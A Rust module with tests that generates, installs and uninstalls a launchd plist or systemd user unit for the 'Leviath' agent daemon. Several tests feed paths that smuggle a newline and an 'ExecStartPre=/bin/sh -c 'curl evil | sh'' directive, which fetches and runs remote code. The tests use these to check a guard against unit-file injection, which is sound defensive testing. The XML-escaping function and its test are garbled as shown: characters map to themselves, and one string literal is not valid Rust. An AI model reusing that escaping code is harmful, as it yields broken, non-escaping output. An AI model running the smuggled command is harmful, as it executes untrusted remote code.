use std::path::{Path, PathBuf};
use anyhow::{Context, Result};
pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
#[cfg(target_os = "macos")]
pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
pub type SupervisorCommand = (String, Vec<String>);
#[cfg(target_os = "macos")]
pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, SupervisorCommand)> {
LEGACY_SERVICE_LABELS
.iter()
.map(|label| {
(
config_home.join(format!("{label}.plist")),
(
"launchctl".to_string(),
vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
),
)
})
.collect()
}
#[cfg(any(target_os = "macos", target_os = "linux"))]
const LOG_FILE: &str = "daemon.log";
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ServiceUnit {
pub path: PathBuf,
pub contents: String,
pub activate: SupervisorCommand,
pub deactivate: SupervisorCommand,
}
#[cfg(target_os = "macos")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
Ok(ServiceUnit {
contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
activate: (
"launchctl".to_string(),
vec![
"bootstrap".to_string(),
format!("gui/{uid}"),
display(&path),
],
),
deactivate: (
"launchctl".to_string(),
vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
),
path,
})
}
#[cfg(target_os = "macos")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
Ok(user_home.join("Library").join("LaunchAgents"))
}
#[cfg(target_os = "macos")]
fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
format!(
r#"<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>{label}</string>
<key>ProgramArguments</key>
<array>
<string>{exe}</string>
<string>daemon</string>
</array>
<key>EnvironmentVariables</key>
<dict>
<key>LEVIATH_HOME</key>
<string>{home}</string>
</dict>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>ThrottleInterval</key>
<integer>10</integer>
<key>StandardOutPath</key>
<string>{log}</string>
<key>StandardErrorPath</key>
<string>{log}</string>
</dict>
</plist>
"#,
label = SERVICE_LABEL,
exe = xml_escape(&display(exe)),
home = xml_escape(&display(home)),
log = xml_escape(&display(log)),
)
}
#[cfg(target_os = "macos")]
fn xml_escape(s: &str) -> String {
let mut out = String::with_capacity(s.len());
for c in s.chars() {
match c {
'&' => out.push_str("&"),
'<' => out.push_str("<"),
'>' => out.push_str(">"),
'"' => out.push_str("""),
'\'' => out.push_str("'"),
_ => out.push(c),
}
}
out
}
#[cfg(target_os = "linux")]
pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
Ok(ServiceUnit {
path: config_home.join("leviath.service"),
contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
activate: (
"systemctl".to_string(),
vec![
"--user".to_string(),
"enable".to_string(),
"--now".to_string(),
"leviath.service".to_string(),
],
),
deactivate: (
"systemctl".to_string(),
vec![
"--user".to_string(),
"disable".to_string(),
"--now".to_string(),
"leviath.service".to_string(),
],
),
})
}
#[cfg(target_os = "linux")]
pub fn config_home(user_home: &Path) -> Result<PathBuf> {
Ok(user_home.join(".config").join("systemd").join("user"))
}
pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
let s = display(value);
if s.contains('\n') || s.contains('\r') {
anyhow::bail!(
"refusing to write a systemd unit: the {label} path contains a newline, \
which would inject additional unit directives"
);
}
Ok(s)
}
pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
let exe = unit_safe("executable", exe)?;
let home = unit_safe("LEVIATH_HOME", home)?;
let log = unit_safe("log", log)?;
Ok(format!(
"[Unit]\n\
Description=Leviath shared-world agent daemon\n\
After=network-online.target\n\
\n\
[Service]\n\
Type=simple\n\
ExecStart={exe} daemon\n\
Environment=LEVIATH_HOME={home}\n\
Restart=always\n\
RestartSec=10\n\
StandardOutput=append:{log}\n\
StandardError=append:{log}\n\
\n\
[Install]\n\
WantedBy=default.target\n",
))
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
units); on this platform, start `lev daemon` from your own login script";
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn service_unit(
_exe: &Path,
_home: &Path,
_config_home: &Path,
_uid: u32,
) -> Result<ServiceUnit> {
anyhow::bail!(UNSUPPORTED)
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
anyhow::bail!(UNSUPPORTED)
}
pub fn install(unit: &ServiceUnit) -> Result<&Path> {
if let Some(parent) = unit.path.parent() {
std::fs::create_dir_all(parent)
.with_context(|| format!("creating {}", parent.display()))?;
}
std::fs::write(&unit.path, &unit.contents)
.with_context(|| format!("writing {}", unit.path.display()))?;
Ok(&unit.path)
}
pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
match std::fs::remove_file(&unit.path) {
Ok(()) => Ok(true),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
}
}
pub fn supervisor_failure(cmd: &SupervisorCommand, stderr: &[u8]) -> anyhow::Error {
anyhow::anyhow!(
"`{} {}` failed: {}",
cmd.0,
cmd.1.join(" "),
String::from_utf8_lossy(stderr).trim()
)
}
#[cfg(target_os = "macos")]
pub fn remove_legacy_with(
user_home: Option<PathBuf>,
uid: u32,
run: &mut dyn FnMut(&SupervisorCommand),
remove: &mut dyn FnMut(&Path) -> bool,
) -> Vec<PathBuf> {
let Some(user_home) = user_home else {
return Vec::new();
};
let config_home = config_home(&user_home)
.expect("infallible: the macOS config_home only joins onto the home path");
let mut removed = Vec::new();
for (path, bootout) in legacy_cleanup(&config_home, uid) {
run(&bootout);
if remove(&path) {
removed.push(path);
}
}
removed
}
pub fn install_with(
unit: &ServiceUnit,
run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
) -> Result<Vec<String>> {
let path = install(unit)?;
let mut lines = vec![format!("wrote {}", path.display())];
let _ = run(&unit.deactivate);
lines.extend(
remove_legacy()
.iter()
.map(|p| format!("removed legacy service file {}", p.display())),
);
run(&unit.activate)?;
lines.push("the leviath daemon is now supervised and will restart automatically".to_string());
Ok(lines)
}
pub fn uninstall_with(
unit: &ServiceUnit,
run: &mut dyn FnMut(&SupervisorCommand) -> Result<()>,
remove_legacy: &mut dyn FnMut() -> Vec<PathBuf>,
) -> Result<Vec<String>> {
let _ = run(&unit.deactivate);
let mut lines: Vec<String> = remove_legacy()
.iter()
.map(|p| format!("removed legacy service file {}", p.display()))
.collect();
lines.push(match uninstall(unit)? {
true => format!("removed {}", unit.path.display()),
false => "no leviath service was installed".to_string(),
});
Ok(lines)
}
pub fn format_supervision(installed: bool, path: &Path) -> String {
if installed {
format!("supervised: yes ({})", path.display())
} else {
"supervised: no (`lev daemon install` restarts it automatically)".to_string()
}
}
fn display(path: &Path) -> String {
path.to_string_lossy().into_owned()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn supervisor_failure_names_the_command_and_its_stderr() {
let err = supervisor_failure(
&(
"launchctl".to_string(),
vec!["bootstrap".to_string(), "gui/501".to_string()],
),
b" Load failed: 5: Input/output error\n",
)
.to_string();
assert!(err.contains("`launchctl bootstrap gui/501`"), "{err}");
assert!(err.contains("Load failed: 5: Input/output error"), "{err}");
assert!(!err.contains('\n'), "stderr should be trimmed: {err}");
}
#[test]
fn supervisor_failure_survives_non_utf8_stderr() {
let err = supervisor_failure(&("x".to_string(), vec![]), &[0xff, 0xfe]).to_string();
assert!(err.contains("`x `"), "{err}");
}
#[cfg(target_os = "macos")]
#[test]
fn remove_legacy_with_no_home_directory_does_nothing() {
let calls = std::cell::Cell::new(0);
let mut run = |_: &SupervisorCommand| calls.set(calls.get() + 1);
let mut remove = |_: &Path| {
calls.set(calls.get() + 1);
false
};
assert!(remove_legacy_with(None, 501, &mut run, &mut remove).is_empty());
assert_eq!(calls.get(), 0, "no home means no supervisor and no unlink");
assert!(
remove_legacy_with(Some(PathBuf::from("/u")), 501, &mut run, &mut remove).is_empty()
);
assert!(calls.get() > 0, "the injected effects were never reached");
}
#[cfg(target_os = "macos")]
#[test]
fn remove_legacy_with_deregisters_before_deleting() {
let events: std::cell::RefCell<Vec<String>> = std::cell::RefCell::new(Vec::new());
let removed = remove_legacy_with(
Some(PathBuf::from("/u")),
501,
&mut |cmd| {
events
.borrow_mut()
.push(format!("run {} {}", cmd.0, cmd.1.join(" ")));
},
&mut |path| {
events
.borrow_mut()
.push(format!("remove {}", path.display()));
true
},
);
let events = events.into_inner();
assert_eq!(removed.len(), LEGACY_SERVICE_LABELS.len());
assert!(events[0].starts_with("run launchctl bootout"), "{events:?}");
assert!(events[1].starts_with("remove "), "{events:?}");
}
fn bare_unit(path: PathBuf) -> ServiceUnit {
ServiceUnit {
path,
contents: "unit body\n".to_string(),
activate: ("sup".to_string(), vec!["on".to_string()]),
deactivate: ("sup".to_string(), vec!["off".to_string()]),
}
}
type SupervisorLog = std::rc::Rc<std::cell::RefCell<Vec<String>>>;
fn recording() -> (SupervisorLog, impl FnMut(&SupervisorCommand) -> Result<()>) {
let log: SupervisorLog = Default::default();
let sink = log.clone();
(log, move |cmd: &SupervisorCommand| {
sink.borrow_mut().push(cmd.1.join(" "));
Ok(())
})
}
#[test]
fn install_deactivates_and_cleans_before_it_activates() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("leviath.unit"));
let (log, mut run) = recording();
let legacy = dir.path().join("old.plist");
let mut remove_legacy = || vec![legacy.clone()];
let lines = install_with(&unit, &mut run, &mut remove_legacy).unwrap();
assert_eq!(
*log.borrow(),
["off", "on"],
"activated before deactivating"
);
assert!(lines[0].starts_with("wrote "), "{lines:?}");
assert!(lines[1].contains("legacy service file"), "{lines:?}");
assert!(lines[2].contains("supervised"), "{lines:?}");
assert!(unit.path.exists());
}
#[test]
fn install_reports_a_failed_activation() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("leviath.unit"));
let mut run = |cmd: &SupervisorCommand| match cmd.1[0].as_str() {
"on" => Err(anyhow::anyhow!("supervisor said no")),
_ => Ok(()),
};
let err = install_with(&unit, &mut run, &mut Vec::new)
.expect_err("a failed activation propagates");
assert!(err.to_string().contains("supervisor said no"), "{err}");
}
#[test]
fn uninstall_ignores_a_failed_deregistration() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("leviath.unit"));
install(&unit).unwrap();
let mut run = |_: &SupervisorCommand| Err(anyhow::anyhow!("nothing registered"));
let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
assert_eq!(lines, [format!("removed {}", unit.path.display())]);
assert!(!unit.path.exists());
}
#[test]
fn install_stops_when_the_unit_cannot_be_written() {
let dir = tempfile::tempdir().unwrap();
let blocker = dir.path().join("blocked");
std::fs::write(&blocker, "not a directory").unwrap();
let unit = bare_unit(blocker.join("nested").join("leviath.unit"));
let (log, mut run) = recording();
assert!(install_with(&unit, &mut run, &mut Vec::new).is_err());
assert!(
log.borrow().is_empty(),
"the supervisor was called for a unit that was never written"
);
}
#[test]
fn uninstall_propagates_a_removal_it_could_not_do() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("leviath.unit"));
std::fs::create_dir(&unit.path).unwrap();
let (_log, mut run) = recording();
assert!(uninstall_with(&unit, &mut run, &mut Vec::new).is_err());
}
#[test]
fn uninstall_reports_legacy_files_it_removed() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("leviath.unit"));
install(&unit).unwrap();
let legacy = dir.path().join("old.plist");
let mut remove_legacy = || vec![legacy.clone()];
let (_log, mut run) = recording();
let lines = uninstall_with(&unit, &mut run, &mut remove_legacy).unwrap();
assert!(lines[0].contains("legacy service file"), "{lines:?}");
assert!(lines[1].starts_with("removed "), "{lines:?}");
}
#[test]
fn uninstall_says_when_there_was_nothing_installed() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("absent.unit"));
let (log, mut run) = recording();
let lines = uninstall_with(&unit, &mut run, &mut Vec::new).unwrap();
assert_eq!(lines, ["no leviath service was installed"]);
assert_eq!(*log.borrow(), ["off"]);
}
#[test]
fn install_writes_then_uninstall_removes_exactly_once() {
let dir = tempfile::tempdir().unwrap();
let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
let written = install(&unit).unwrap().to_path_buf();
assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
assert!(
!uninstall(&unit).unwrap(),
"second is a no-op, not an error"
);
}
#[test]
fn install_and_uninstall_surface_io_errors() {
let dir = tempfile::tempdir().unwrap();
let blocker = dir.path().join("blocker");
std::fs::write(&blocker, "x").unwrap();
assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
let occupied = dir.path().join("occupied");
std::fs::create_dir(&occupied).unwrap();
assert!(install(&bare_unit(occupied.clone())).is_err());
assert!(uninstall(&bare_unit(occupied)).is_err());
assert!(install(&bare_unit(PathBuf::new())).is_err());
}
#[test]
fn supervision_status_reads_both_ways() {
let path = Path::new("/home/u/unit");
assert!(format_supervision(true, path).contains("yes"));
assert!(format_supervision(true, path).contains("/home/u/unit"));
assert!(format_supervision(false, path).contains("no"));
}
#[cfg(any(target_os = "macos", target_os = "linux"))]
mod supported {
use super::*;
fn unit() -> ServiceUnit {
service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.expect("this platform has a supervisor")
}
#[test]
fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
let u = unit();
assert!(u.contents.contains("/usr/local/bin/lev"));
assert!(u.contents.contains("/home/u/.leviath"));
assert!(u.contents.contains(LOG_FILE));
assert_eq!(u.activate.0, u.deactivate.0);
assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
assert!(u.path.starts_with("/tmp/lev-units"));
let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
assert!(home.starts_with("/home/u"));
}
}
#[cfg(target_os = "macos")]
mod macos {
use super::*;
#[test]
fn paths_with_xml_metacharacters_are_escaped() {
assert_eq!(
xml_escape("a&b<c>d\"e'f"),
"a&b<c>d"e'f"
);
assert_eq!(xml_escape("plain/path"), "plain/path");
}
#[test]
fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
let u = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.unwrap();
assert_eq!(
u.path.file_name().unwrap().to_string_lossy(),
format!("{SERVICE_LABEL}.plist")
);
assert_eq!(u.activate.1[0], "bootstrap");
assert_eq!(u.activate.1[1], "gui/501");
assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
assert!(u.contents.contains("<key>KeepAlive</key>"));
assert!(u.contents.contains("<key>RunAtLoad</key>"));
assert!(
config_home(Path::new("/home/u"))
.unwrap()
.ends_with("LaunchAgents")
);
}
#[test]
fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
let (path, (cmd, args)) = &actions[0];
assert_eq!(
path.file_name().unwrap().to_string_lossy(),
"ai.sunforge.leviath.plist"
);
assert_eq!(cmd, "launchctl");
assert_eq!(args[0], "bootout");
assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
}
}
#[cfg(target_os = "linux")]
mod linux {
use super::*;
#[test]
fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
let u = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/tmp/lev-units"),
501,
)
.unwrap();
assert_eq!(u.path.file_name().unwrap(), "leviath.service");
assert_eq!(
u.activate.1,
["--user", "enable", "--now", "leviath.service"]
);
assert_eq!(
u.deactivate.1,
["--user", "disable", "--now", "leviath.service"]
);
assert!(u.contents.contains("Restart=always"));
assert!(u.contents.contains("WantedBy=default.target"));
assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
}
#[test]
fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
let err = service_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
Path::new("/tmp/lev-units"),
501,
)
.expect_err("a newline in the home path must not reach the unit file");
assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
}
}
mod systemd_unit_file {
use super::*;
#[test]
fn display_renders_a_path_losslessly_when_it_can() {
assert_eq!(display(Path::new("/a/b")), "/a/b");
}
#[test]
fn it_renders_the_expected_directives() {
let unit = systemd_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath"),
Path::new("/home/u/.leviath/daemon.log"),
)
.unwrap();
assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
assert!(unit.contains("Restart=always"));
}
#[test]
fn a_newline_in_an_interpolated_path_is_refused() {
let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
let err = systemd_unit(
Path::new("/usr/local/bin/lev"),
evil,
Path::new("/home/u/.leviath/daemon.log"),
)
.expect_err("a newline in LEVIATH_HOME must be refused");
assert!(err.to_string().contains("newline"), "got: {err}");
assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
}
#[test]
fn every_interpolated_path_is_checked() {
let evil = Path::new("/x\nExecStartPre=/bin/false");
let good = Path::new("/home/u/.leviath");
assert!(systemd_unit(evil, good, good).is_err(), "executable");
assert!(systemd_unit(good, evil, good).is_err(), "home");
assert!(systemd_unit(good, good, evil).is_err(), "log");
}
#[test]
fn a_carriage_return_is_refused_too() {
assert!(
systemd_unit(
Path::new("/usr/local/bin/lev"),
Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
Path::new("/home/u/.leviath/daemon.log"),
)
.is_err()
);
}
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
mod unsupported {
use super::*;
#[test]
fn install_is_refused_with_an_actionable_message() {
let err = service_unit(
Path::new("lev.exe"),
Path::new("home"),
Path::new("units"),
0,
)
.unwrap_err()
.to_string();
assert!(err.contains("macOS"), "got: {err}");
assert!(err.contains("lev daemon"), "got: {err}");
assert!(config_home(Path::new("home")).is_err());
}
}
}